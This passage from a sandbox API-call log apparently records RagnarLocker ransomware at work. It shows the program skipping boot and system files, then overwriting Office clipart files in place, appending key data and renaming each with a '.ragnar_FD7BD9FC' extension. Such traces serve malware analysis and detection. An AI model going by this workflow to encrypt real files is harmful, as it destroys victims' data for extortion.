nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.061] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.061] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.061] GetProcessHeap () returned 0x580000 [0082.061] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.061] CloseHandle (hObject=0xf4) returned 1 [0082.061] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" [0082.062] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.ragnar_FD7BD9FC" [0082.062] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.062] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0082.062] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.062] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00902_.WMF" | out: lpString1="EN00902_.WMF") returned="EN00902_.WMF" [0082.062] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned=".WMF" [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="autorun.inf") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="boot.ini") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="bootfont.bin") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="bootsect.bak") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="bootmgr") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="bootmgr.efi") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="desktop.ini") returned 1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="iconcache.db") returned -1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="ntldr") returned -1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="ntuser.dat") returned -1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.062] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="ntuser.ini") returned -1 [0082.063] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="thumbs.db") returned -1 [0082.063] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.063] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.063] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.063] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.063] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.063] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.063] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0082.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.064] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7944) returned 1 [0082.064] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1eff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.064] GetProcessHeap () returned 0x580000 [0082.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.064] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.065] VirtualAlloc (lpAddress=0x0, dwSize=0x1f08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.065] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.066] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f08, lpOverlapped=0x0) returned 1 [0082.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.066] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f08, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.066] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f08, lpOverlapped=0x0) returned 1 [0082.066] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.066] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.067] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.067] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.067] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.067] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.067] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.067] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.067] GetProcessHeap () returned 0x580000 [0082.067] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.067] CloseHandle (hObject=0xf4) returned 1 [0082.067] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" [0082.067] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.ragnar_FD7BD9FC" [0082.067] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.068] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0082.068] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.068] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EXPLR_01.MID" | out: lpString1="EXPLR_01.MID") returned="EXPLR_01.MID" [0082.068] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned=".MID" [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="autorun.inf") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="boot.ini") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="bootfont.bin") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="bootsect.bak") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="bootmgr") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="bootmgr.efi") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="bootmgfw.efi") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="desktop.ini") returned 1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="iconcache.db") returned -1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="ntldr") returned -1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="ntuser.dat") returned -1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="ntuser.dat.log") returned -1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="ntuser.ini") returned -1 [0082.068] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="thumbs.db") returned -1 [0082.068] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.068] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.068] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.068] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.068] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.068] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.069] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0082.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.069] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10562) returned 1 [0082.069] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2939, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.069] GetProcessHeap () returned 0x580000 [0082.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.069] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.070] VirtualAlloc (lpAddress=0x0, dwSize=0x2942, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.071] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.071] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.071] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2942, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2942, lpOverlapped=0x0) returned 1 [0082.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.072] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2942, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.072] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2942, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2942, lpOverlapped=0x0) returned 1 [0082.072] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2942, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.072] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2942, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.072] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.072] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.072] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.072] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.072] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.073] GetProcessHeap () returned 0x580000 [0082.073] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.073] CloseHandle (hObject=0xf4) returned 1 [0082.073] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" [0082.073] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.ragnar_FD7BD9FC" [0082.073] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.073] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0082.073] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.073] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FALL_01.MID" | out: lpString1="FALL_01.MID") returned="FALL_01.MID" [0082.073] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned=".MID" [0082.073] lstrcmpiW (lpString1="FALL_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.073] lstrcmpiW (lpString1="FALL_01.MID", lpString2="autorun.inf") returned 1 [0082.073] lstrcmpiW (lpString1="FALL_01.MID", lpString2="boot.ini") returned 1 [0082.073] lstrcmpiW (lpString1="FALL_01.MID", lpString2="bootfont.bin") returned 1 [0082.073] lstrcmpiW (lpString1="FALL_01.MID", lpString2="bootsect.bak") returned 1 [0082.073] lstrcmpiW (lpString1="FALL_01.MID", lpString2="bootmgr") returned 1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="bootmgr.efi") returned 1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="bootmgfw.efi") returned 1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="desktop.ini") returned 1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="iconcache.db") returned -1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="ntldr") returned -1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="ntuser.dat") returned -1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="ntuser.dat.log") returned -1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="ntuser.ini") returned -1 [0082.074] lstrcmpiW (lpString1="FALL_01.MID", lpString2="thumbs.db") returned -1 [0082.074] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.074] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.074] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.074] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.074] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.074] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.074] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0082.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.075] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4846) returned 1 [0082.075] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.075] GetProcessHeap () returned 0x580000 [0082.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.075] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.076] VirtualAlloc (lpAddress=0x0, dwSize=0x12ee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.077] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12ee, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12ee, lpOverlapped=0x0) returned 1 [0082.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.077] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.077] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12ee, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12ee, lpOverlapped=0x0) returned 1 [0082.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.078] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.078] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.078] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.078] GetProcessHeap () returned 0x580000 [0082.078] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.078] CloseHandle (hObject=0xf4) returned 1 [0082.078] lstrcpyW (in: 